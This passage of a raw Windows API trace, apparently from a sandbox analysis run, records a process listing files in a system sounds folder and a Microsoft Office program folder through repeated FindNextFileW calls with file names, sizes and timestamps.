ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAMERA.WAV", cAlternateFileName="")) returned 1 [0205.923] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x1d7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASHREG.WAV", cAlternateFileName="")) returned 1 [0205.924] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb796bf00, ftCreationTime.dwHighDateTime=0x1bd8ab7, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb796bf00, ftLastWriteTime.dwHighDateTime=0x1bd8ab7, nFileSizeHigh=0x0, nFileSizeLow=0x91be, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHIMES.WAV", cAlternateFileName="")) returned 1 [0205.924] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffbd3c00, ftCreationTime.dwHighDateTime=0x1bfc6e7, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffbd3c00, ftLastWriteTime.dwHighDateTime=0x1bfc6e7, nFileSizeHigh=0x0, nFileSizeLow=0x268, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLICK.WAV", cAlternateFileName="")) returned 1 [0205.924] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef0cc600, ftCreationTime.dwHighDateTime=0x1bfc6e7, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xef0cc600, ftLastWriteTime.dwHighDateTime=0x1bfc6e7, nFileSizeHigh=0x0, nFileSizeLow=0x15bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="COIN.WAV", cAlternateFileName="")) returned 1 [0205.924] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x4be2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRUMROLL.WAV", cAlternateFileName="")) returned 1 [0205.924] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x5c20, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPLODE.WAV", cAlternateFileName="")) returned 1 [0205.924] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb836b000, ftCreationTime.dwHighDateTime=0x1bfc6e7, ftLastAccessTime.dwLowDateTime=0x53822dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb836b000, ftLastWriteTime.dwHighDateTime=0x1bfc6e7, nFileSizeHigh=0x0, nFileSizeLow=0xfbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="HAMMER.WAV", cAlternateFileName="")) returned 1 [0205.924] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x72d, dwReserved0=0x0, dwReserved1=0x0, cFileName="LASER.WAV", cAlternateFileName="")) returned 1 [0205.924] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b5dc00, ftCreationTime.dwHighDateTime=0x1bfc6e6, ftLastAccessTime.dwLowDateTime=0x5a7913b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4b5dc00, ftLastWriteTime.dwHighDateTime=0x1bfc6e6, nFileSizeHigh=0x0, nFileSizeLow=0x3d84, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUSH.WAV", cAlternateFileName="")) returned 1 [0205.924] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3eba3e00, ftCreationTime.dwHighDateTime=0x1bfa2b0, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3eba3e00, ftLastWriteTime.dwHighDateTime=0x1bfa2b0, nFileSizeHigh=0x0, nFileSizeLow=0x1664, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUCTION.WAV", cAlternateFileName="")) returned 1 [0205.924] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb796bf00, ftCreationTime.dwHighDateTime=0x1bd8ab7, ftLastAccessTime.dwLowDateTime=0x6d56d990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb796bf00, ftLastWriteTime.dwHighDateTime=0x1bd8ab7, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TYPE.WAV", cAlternateFileName="")) returned 1 [0205.924] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdb8800, ftCreationTime.dwHighDateTime=0x1bfbeed, ftLastAccessTime.dwLowDateTime=0x7071e4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecdb8800, ftLastWriteTime.dwHighDateTime=0x1bfbeed, nFileSizeHigh=0x0, nFileSizeLow=0x35c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="VOLTAGE.WAV", cAlternateFileName="")) returned 1 [0205.925] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x6de, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHOOSH.WAV", cAlternateFileName="")) returned 1 [0205.925] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcde5800, ftCreationTime.dwHighDateTime=0x1bfc6e6, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcde5800, ftLastWriteTime.dwHighDateTime=0x1bfc6e6, nFileSizeHigh=0x0, nFileSizeLow=0x2b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="WIND.WAV", cAlternateFileName="")) returned 1 [0205.925] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcde5800, ftCreationTime.dwHighDateTime=0x1bfc6e6, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcde5800, ftLastWriteTime.dwHighDateTime=0x1bfc6e6, nFileSizeHigh=0x0, nFileSizeLow=0x2b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="WIND.WAV", cAlternateFileName="")) returned 0 [0205.925] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0205.926] GetProcessHeap () returned 0x550000 [0205.926] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0205.926] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4f5000, ftCreationTime.dwHighDateTime=0x1cac037, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4f5000, ftLastWriteTime.dwHighDateTime=0x1cac037, nFileSizeHigh=0x0, nFileSizeLow=0x1c798, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BusinessData.dll", cAlternateFileName="MI5659~1.DLL")) returned 1 [0205.926] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36c06100, ftCreationTime.dwHighDateTime=0x1ca24ad, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36c06100, ftLastWriteTime.dwHighDateTime=0x1ca24ad, nFileSizeHigh=0x0, nFileSizeLow=0x5a768, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BusinessData.xml", cAlternateFileName="MI1B7D~1.XML")) returned 1 [0205.926] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17441800, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x662b9570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17441800, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x8a780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.Runtime.dll", cAlternateFileName="MI2E5E~1.DLL")) returned 1 [0205.926] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe853200, ftCreationTime.dwHighDateTime=0x1ca24ae, ftLastAccessTime.dwLowDateTime=0x568a2e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe853200, ftLastWriteTime.dwHighDateTime=0x1ca24ae, nFileSizeHigh=0x0, nFileSizeLow=0x295c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.Runtime.xml", cAlternateFileName="MICROS~3.XML")) returned 1 [0205.927] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad79f00, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x67a61010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ad79f00, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xa2780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.RuntimeUi.dll", cAlternateFileName="MIBA26~1.DLL")) returned 1 [0205.927] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd33c3f00, ftCreationTime.dwHighDateTime=0x1ca2551, ftLastAccessTime.dwLowDateTime=0x67a61010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd33c3f00, ftLastWriteTime.dwHighDateTime=0x1ca2551, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.RuntimeUi.xml", cAlternateFileName="MI8366~1.XML")) returned 1 [0205.927] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad79f00, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x575e0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ad79f00, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xe9780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessData.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0205.927] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe853200, ftCreationTime.dwHighDateTime=0x1ca24ae, ftLastAccessTime.dwLowDateTime=0x575e0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe853200, ftLastWriteTime.dwHighDateTime=0x1ca24ae, nFileSizeHigh=0x0, nFileSizeLow=0x33737, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessData.xml", cAlternateFileName="MICROS~4.XML")) returned 1 [0205.927] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0139200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0139200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x4998, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", cAlternateFileName="MI6145~1.DLL")) returned 1 [0205.927] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdb13800, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x543977b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcdb13800, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xa780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.FormControl.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0205.927] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0139200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x61e95fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0139200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x63790, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", cAlternateFileName="MIE42F~1.DLL")) returned 1 [0205.927] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x542d90d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0xc5265, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", cAlternateFileName="MICROS~1.XML")) returned 1 [0205.927] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0139200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x561caed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0139200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x15780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.Xml.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0205.927] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62def200, ftCreationTime.dwHighDateTime=0x1c9bc30, ftLastAccessTime.dwLowDateTime=0x65d38290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x62def200, ftLastWriteTime.dwHighDateTime=0x1c9bc30, nFileSizeHigh=0x0, nFileSizeLow=0x837d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.Xml.xml", cAlternateFileName="MI4026~1.XML")) returned 1 [0205.927] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x102e00, ftCreationTime.dwHighDateTime=0x1cab7e3, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x102e00, ftLastWriteTime.dwHighDateTime=0x1cab7e3, nFileSizeHigh=0x0, nFileSizeLow=0x12798, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", cAlternateFileName="MIAE71~1.DLL")) returned 1 [0205.928] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x67760, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.office.workflow.actions.proxy.dll", cAlternateFileName="MIF37A~1.DLL")) returned 1 [0205.928] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17441800, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x5687ccb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17441800, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x7d780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SharePoint.BusinessData.Administration.Client.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0205.928] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe853200, ftCreationTime.dwHighDateTime=0x1ca24ae, ftLastAccessTime.dwLowDateTime=0x5687ccb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe853200, ftLastWriteTime.dwHighDateTime=0x1ca24ae, nFileSizeHigh=0x0, nFileSizeLow=0x311b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SharePoint.BusinessData.Administration.Client.xml", cAlternateFileName="MICROS~2.XML")) returned 1 [0205.928] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x74760, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.sharepoint.workflowactions.proxy.dll", cAlternateFileName="MI6AA3~1.DLL")) returned 1 [0205.928] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x69c26830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x84760, dwReserved0=0x0, dwReserved1=0x0, cFileName="MIMEDIR.DLL", cAlternateFileName="")) returned 1 [0205.928] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2796a00, ftCreationTime.dwHighDateTime=0x1cacb3c, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2796a00, ftLastWriteTime.dwHighDateTime=0x1cacb3c, nFileSizeHigh=0x0, nFileSizeLow=0x8b760, dwReserved0=0x0, dwReserved1=0x0, cFileName="misc.exe", cAlternateFileName="")) returned 1 [0205.928] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x58adaa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x12588, dwReserved0=0x0, dwReserved1=0x0, cFileName="MLCFG32.CPL", cAlternateFileName="")) returned 1 [0205.928] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x5980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MLSHEXT.DLL", cAlternateFileName="")) returned 1 [0205.928] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79fd00, ftCreationTime.dwHighDateTime=0x1c9cdff, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe79fd00, ftLastWriteTime.dwHighDateTime=0x1c9cdff, nFileSizeHigh=0x0, nFileSizeLow=0x25f87, dwReserved0=0x0, dwReserved1=0x0, cFileName="MML2OMML.XSL", cAlternateFileName="")) returned 1 [0205.929] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee75d00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6140cc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ee75d00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x9f368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MODELENG.DLL", cAlternateFileName="")) returned 1 [0205.929] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e01e00, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83e01e00, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0x9a790, dwReserved0=0x0, dwReserved1=0x0, cFileName="MORPH9.DLL", cAlternateFileName="")) returned 1 [0205.929] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x82755f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x32960, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPXINT.DLL", cAlternateFileName="")) returned 1 [0205.929] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaca1de00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaca1de00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0xa5580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACC.OLB", cAlternateFileName="")) returned 1 [0205.929] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fbe00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5fbe00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x132cb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.EXE", cAlternateFileName="")) returned 1 [0205.929] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe53eb900, ftCreationTime.dwHighDateTime=0x1cab7e4, ftLastAccessTime.dwLowDateTime=0x58b4ce70, 